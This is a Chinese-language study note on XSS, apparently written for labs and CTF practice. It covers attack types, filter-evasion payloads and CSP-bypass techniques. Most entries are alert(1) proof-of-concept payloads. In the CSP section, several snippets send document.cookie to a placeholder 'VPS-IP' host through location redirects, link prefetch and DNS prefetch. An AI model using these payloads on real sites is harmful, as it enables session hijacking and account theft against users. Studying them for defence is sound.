2023/08/10:xss笔记

xss笔记

原理

将恶意脚本注入受害者浏览器,使其在浏览器中运行

分类

1.存储型
恶意代码上传至后端,当管理员查询信息时触发
如:利用GET、POST或在Referer(xsslab 11)、Cookie(xsslab 13)植入
2.反射型
需要用户点击触发,在前端显示,一般盗取用户Cookie,较为常见
如:
假设有如下代码:

1
<?php echo $_GET['name']; ?>

恶意代码就可以通过GET显示在前端界面
3.DOM型
不经过后端,利用文档对象模型,属于较特殊的反射型xss
如:document.write()函数
(burplab好像不少这种题)
4.JSONP型
按原作者的话较为罕见,浏览器设置了CSP同源策略不允许调用其他域名API时,利用JSONP协议跨域加载特性在JSONP注入恶意代码
如:
API端口“http://Evi1s7.com/api”返回如下JSONP响应:

1
callback({ "name": "John", "age": 30 })

可构造如下url执行脚本:

1
https://Evi1s7.com/api?callback=attackerFunction

这样返回的JSONP响应发生修改:

1
attacjerFunction({ "name": "John", "age": 30 });

就可以在页面定义attacjerFunction注入恶意脚本:

1
2
3
4
5
<script>
function attackerFunction(data) {
document.cookie = "sessionID=" + data.name;
}
</script>

攻击对象

又名把xss插到哪

HTML的注释

如:

1
2
3
4
5
6
<!-- 2333 -->
<!--
<script>
alert('1');
</script>
-->

HTML标签

例如将代码插入到标签的onerror属性中,无法显示图片时就会调用该代码

HTML属性名

利用闭合的方式可以插入属性名执行
如:

1
<input type="text" onclick="alert('1')" name="><script>alert('XSS攻击成功!')</script>">

插入后前半部分完整,可以执行后半部分的脚本

HTML标签名

1
<<script>alert('1')</script>img src=1>

这段代码中,浏览器会将第一个尖括号视为标签名的起始符号,而第二个尖括号则是script标签的起始符号,导致浏览器误以为有两个标签被嵌套在一起,从而实现我们的XSS攻击

直接插入

直接插入script,不带改的

插入css

1
<div style="background-image:url('javascript:alert('1')');">

当css样式能插入url时,用户打开这个界面浏览器就会执行脚本

插入响应(HTTP报头注入)

利用报头注入漏洞通过注入CRLF字符(回车、换行)向HTTP响应注入任意HTTP头或响应体,来改变响应内容
如:

1
exp:?key=aaa

若该利用GET的形式传参的网站存在CRLF漏洞,那么我们就可以利用回车符/换行符进行绕过过滤

1
?key=%0d%0a%0d%0a<img src=1 onerror=alert(1)>

返回包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK

Date:xxxxxxxxxx

Content-type:text/html

Contet-Length:xxx

Connection:close

Location:

<img src=1 onerror=alert(/xss/)>

http包分为了header和body,成功执行了body中的代码,实现XSS

绕过

关键词绕过

大小写绕过

如xsslab第6题

1
2
3
4
5
6
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

str_replace()需要区分大小写

拼接绕过

1.eval

1
<img src="x" onerror="eval('al'+'ert(1)')">

2.top

1
<img src="x" onerror="top['al'+'ert'](1)">

3.window

1
<img src="x" onerror="window['al'+'ert'](1)">

4.self

1
<img src="x" onerror="self[`al`+`ert`](1)">

5.parent

1
<img src="x" onerror="parent[`al`+`ert`](1)">

6.frames

1
<img src="x" onerror="frames[`al`+`ert`](1)">
函数替换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<img src="x" onerror="eval(alert(1))">
<img src="x" onerror="open(alert(1))">
<img src="x" onerror="document.write(alert(1))">
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].find(alert(1))">
<img src="x" onerror="[1].every(alert(1))">
<img src="x" onerror="[1].filter(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">
<img src="x" onerror="[1].findIndex(alert(1))">
嵌套替换

如:

1
<sc<script>ript>alert('Evi1s7')</sc</script>ript>
赋值绕过
1
2
3
4
5
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
<img src x=al y=ert onerror=window[x+y](1)> #在网页没有嵌套框架时才有效。
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

编码绕过

HTML编码转义

当可控点为单个标签属性时,可以使用 html 实体编码。
可采用十进制、十六进制或填充0的方式
填充0:

1
<a href=&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029>aaa</a>
url编码

需要注入点存在href属性或者src属性,才可以利用url编码转义且在url解析过程中,不能对协议类型进行任何的编码操作
如:

1
<a href=javascript:%61%6c%65%72%74%28%31%29>233</a>

src属性通常用于指定外部资源的URL,让浏览器从指定的URL中获取资源并加载它们(如img、script标签)
href属性通常用于指定链接目标的URL或外部资源的URL,以及用于指定基准URL或图像地图中区域的URL(如link、a标签)

空格绕过

在html的标签中的不同位置的空格绕过方式不是一样的

1
<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A: /,/123/,%09,%0A,%0C,%0D,%20
B:%09,%0A,%0C,%0D,%20
C:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)
D:%09,%0A,%0C,%0D,%20,//,>

()绕过

反引号绕过
1
alert`1`
throw绕过
1
<script>alert;throw 1</script>

alert绕过(关键词过滤绕过的特殊情况)

函数替换

可用prompt()、confirm()、console.log()、document.write()

编码绕过
1
2
<a href=javascript:%61%6c%65%72%74%28%31%29>aaa</a>
#alert(1)

长度限制

拆分
1
2
3
4
5
<script>a='document.write("'</script>
<script>a=a+'<a href=ht'</script>
<script>a=a+'tp://VPS-IP:po'</script>
<script>a=a+'rt>1</a>")'</script>
<script>eval(a)</script>
eval()拼接
1
document.write("<a href=http://VPS-IP:port>1</a>")

分号过滤

1
<script>{onerror=alert}throw 1</script>

绕过CSP

概念

CSP指的是Content Security Policy,即内容安全策略。CSP指令可以在HTTP响应头中设置,也可以在HTML文档中使用meta标签设置,让管理员可以告诉浏览器哪些资源可以加载到页面中,例如可以信任哪些来源的JavaScript、CSS、图片等资源。这样,浏览器就只会加载来自这些受信任来源的资源,从而减少了被攻击的风险。

分类

1.Content-Security-Policy:配置好并且启用后,直接拦截不符合CSP的资源
2.Content-Security-Policy-Report-Only:配置好之后仅记录违反限制的行为,并不能进行拦截(这里也是一个漏洞),和report-uri选项配合时可以进行拦截违法行为

结构

CSP由一组指令组成,每个指令用于指定允许加载的资源类型和来源,一个CSP头由多组CSP策略组成,中间由分号分隔。

指令关键字:指令关键字用于标识指令类型,例如default-src、script-src、style-src等
指令值:指令值用于指定允许加载资源的来源,可以是一个或多个来源,多个来源之间用空格分隔。来源可以是URL、域名、IP地址或通配符等
指令选项:指令选项用于指定一些特殊行为,例如’self’选项用于指定资源只能从同一域名加载,’unsafe-inline’选项用于允许内联脚本等
指令策略:指令策略用于指定如何处理不符合CSP策略的请求,可以选择’allow’、’block’、’report’等选项,每一组策略包含一个策略指令和一个内容源列表
例:

1
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' example.com; img-src * data:; report-uri /csp-report

Content-Security-Policy是CSP的header字段
default-src指令用于限制默认允许加载的资源类型和来源
script-src指令用于限制JavaScript脚本的来源
img-src指令用于限制图片的来源
策略还指定了违规报告的URL

常见策略指令

与特定的源(例如域名、协议、端口)一起使用或使用通配符(*)来表示所有来源
default-src: 指定默认允许加载的资源类型和来源。
script-src: 限制JavaScript脚本的来源。
style-src: 限制CSS样式表的来源。
img-src: 限制图片的来源。
connect-src: 限制XMLHttpRequest和WebSocket的来源。
font-src: 限制字体的来源。
object-src: 限制object、embed、applet等插件的来源。
media-src: 限制音频、视频等媒体资源的来源。
frame-src: 限制iframe的来源。
child-src: 限制子窗口的来源,包括iframe、web worker、embed等。
form-action: 限制表单提交的目标地址。
sandbox: 限制iframe中的脚本和插件的执行权限。
base-uri: 限制base标签的目标地址。
report-uri: 指定违规报告的URL。

策略指令中常见的关键词

用于指定资源的类型和来源
1.self: 表示当前网站的源,也就是只允许从同一域名加载资源。
2.none: 表示不允许加载任何资源。
3.unsafe-inline: 表示允许内联脚本、样式表等,但存在安全风险。
4.unsafe-eval: 表示允许使用eval()函数执行代码,但存在安全风险。
5.strict-dynamic: 表示允许通过nonce或hash机制执行动态脚本,但不允许其他方式的动态脚本。
6.nonce-xxxx: 表示允许执行指定的nonce值所对应的脚本,用于限制内联脚本的来源。
7.hash-xxxx: 表示允许执行指定的哈希值所对应的脚本,用于限制外部脚本的来源。
8.data:: 表示允许加载data URI格式的资源。
9.blob:: 表示允许加载blob URL格式的资源。
10.mediastream:: 表示允许加载mediastream格式的资源

CSP策略指令中的存在安全风险数据类型

1.data:用于指定可以从data URI格式加载的资源。data URI可以直接将资源的内容编码为字符串嵌入到URL中,而不需要从外部加载资源
作为攻击者,可以利用data uri构造恶意脚本直接嵌入URL中,从而进行XSS攻击
2.mediastream:用于指定可以从哪些媒体流(例如摄像头或麦克风)加载资源。配合media-src策略指令使用,允许 mediastream: URI 作为内容来源。
3.blob:允许在HTML页面中使用Blob URL,这是一种允许在浏览器中生成URL的API。当CSP策略允许任何来源使用blob数据类型时,会产生安全风险。
4.unsafe-inline:允许在HTML页面中直接嵌入JavaScript代码。这是一种方便的方法,可以将脚本与页面混合在一起,但是也容易受到XSS攻击的威胁。
5.unsafe-eval:允许在HTML页面中使用eval函数来执行JavaScript代码,攻击者可以通过注入特殊的参数(数据注入攻击)来控制eval函数的执行结果,从而达到执行恶意代码的目的。

绕过策略

1.iframe标签
如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!--1.php-->
<?php
if (!isset($_COOKIE['Evi1s7'])) {
setcookie('Ev1ls7',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';");
?>

<!DOCTYPE html>
<html>
<head>
<title>CSP</title>
</head>
<body>
<p>CSP</p>
<?php
if (isset($_GET['Evi1s7'])) {
echo "Your GET content:".@$_GET['Evi1s7'];
}
?>
</body>
</html>


<!--2.php-->
<!DOCTYPE html>
<html>
<head>
<title>CSP</title>
</head>
<body>
<p>CSP</p>

<?php
if (isset($_GET['Evi1s7'])) {
echo "Your GET content:".@$_GET['Evi1s7'];
}
?>

</body>
</html

该代码对于2.php没有进行设置,可利用iframe特性(在HTML文档中iframe每出现一次,一个IFrame对象就会被创建,可以使用 document.createElement()方法来创建)
创建一个iframe标签将其嵌入到DOM文档的body元素中,通过设置iframe标签的属性使浏览器渲染1.php,iframe也会内嵌到页面中
2.location绕过(unsafe-inline存在安全风险的利用)
如:

1
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'

可以利用location.href/window.location/window.open 绕过

1
?name=<script>window.location.href='http://VPS-IP:port'+escape(document.cookie);</script>

3.link标签
适用于可以执行JavaScript脚本,但是无法将CSP数据带出
以firefox为例

1
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

以如下带出cookie

1
2
3
4
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//VPS-IP/?" + document.cookie);
document.head.appendChild(link)

href属性被设定为设置一个超链接,当被点击是,会以GET的形式请求我们的VPS,且带着用户自己的cookie值作为查询字符串附加在URL的末尾。
4.低版本CDN绕过
如果此CDN服务商在CSP白名单中
如:
以Jquery-mobile库为例,如果题目给出的CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,可以以

1
<div data-role=popup id='<script>alert(hack)</script>'></div>

5.利用meta标签实现url跳转
如:

1
<meta http-equiv="refresh" content="3;url=https://example.com">

6.CRLF绕过
当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中
7.站点可控静态资源绕过
要求站点存在可控静态资源,且站点在CSP白名单中

www.google-analytics.com中可以自定义JavaScript,以此绕过
8.站点可控JSONP绕过
站点存在可控的JSONP,且站点在CSP白名单中
有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析
9.Base-uri绕过
script-src只使用nonce,没有额外设置base-uri,页面引用存在相对路径的script标签
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用base标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径。如果页面的script-src不是采用的nonce而是self或者域名ip,则不能使用此方法
10.不完整script标签绕过nonce
适用于可控点在合法script标签上方,且其中没有其他标签,XSS页面的CSP script-src只采用了nonce方式

特性:
1.当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性
2.当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略
3.当标签未闭合时,html解析器会一直去寻找下一个引号,从而闭合src属性,所以说在下一个引号前的标签都不会被解析

例:

1
2
3
4
5
6
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>

可使用

1
?xss=<script src=data:text/plain,alert(1)

nonce会进入不完整script标签成为其属性名
11.借助外域资源绕过
适用于可以进行外域资源引用,且注入点在CSP策略下方
当设置的CSP策略指令img-src允许加载外域图片资源,可以尝试利用img标签XSS恶意代码,从而注入到该网页。当标签未闭合时,html解析器会一直去寻找下一个引号,从而闭合src属性,所以说在下一个引号前的标签都不会被解析,从而绕过CSP。
12.PDF XSS绕过
适用于没有设置object-src,或者object-src没有设置为’none’,pdf用的是chrome的默认解析器。
原理为攻击者将恶意代码写入PDF文件中,将此图片利用文件上传或者创建在自己的VPS上,受害者访问从而进行XSS攻击。不能获取页面cookie,但是可以弹窗,url跳转等。
13.SVG矢量图绕过
原理同PDF XSS绕过